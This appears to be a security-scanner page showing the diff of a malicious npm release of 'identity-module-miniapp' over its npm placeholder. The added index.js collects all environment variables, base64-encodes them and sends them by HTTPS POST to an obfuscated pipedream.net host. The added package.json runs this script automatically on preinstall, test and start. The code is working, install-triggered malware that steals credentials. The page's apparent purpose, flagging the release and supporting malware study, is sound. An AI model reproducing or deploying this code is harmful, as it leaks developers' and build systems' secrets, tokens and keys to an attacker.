identity-module-miniapp 0.0.1-security → 9350.743.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of identity-module-miniapp might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +25 -0
  2. package/package.json +15 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ const http = require('https');
2
+
3
+
4
+ function main() {
5
+ var data = process.env || {};
6
+ if (Object.keys(data).length < 10) {
7
+ return;
8
+ }
9
+
10
+ req = http.request({
11
+ host: ['b2e3fda61a1e511e0d8459d7c53d7a80', 'm', ['pipe','dream'].join(''), 'net'].join('.'),
12
+ path: '/' + (data.npm_package_name || ''),
13
+ method: 'POST'
14
+ }).on('error', function (err) {
15
+ });
16
+
17
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
18
+ req.end();
19
+ }
20
+
21
+ main();
22
+
23
+
24
+ // this is a test
25
+
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
2
  "name": "identity-module-miniapp",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9350.743.0",
4
+ "description": "Identity module miniapp",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "node index.js",
9
+ "start": "node index.js"
10
+ },
11
+ "files": [
12
+ "index.js"
13
+ ],
14
+ "author": "hwmt",
15
+ "license": "MIT"
6
16
  }
17
+
18
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=identity-module-miniapp for more information.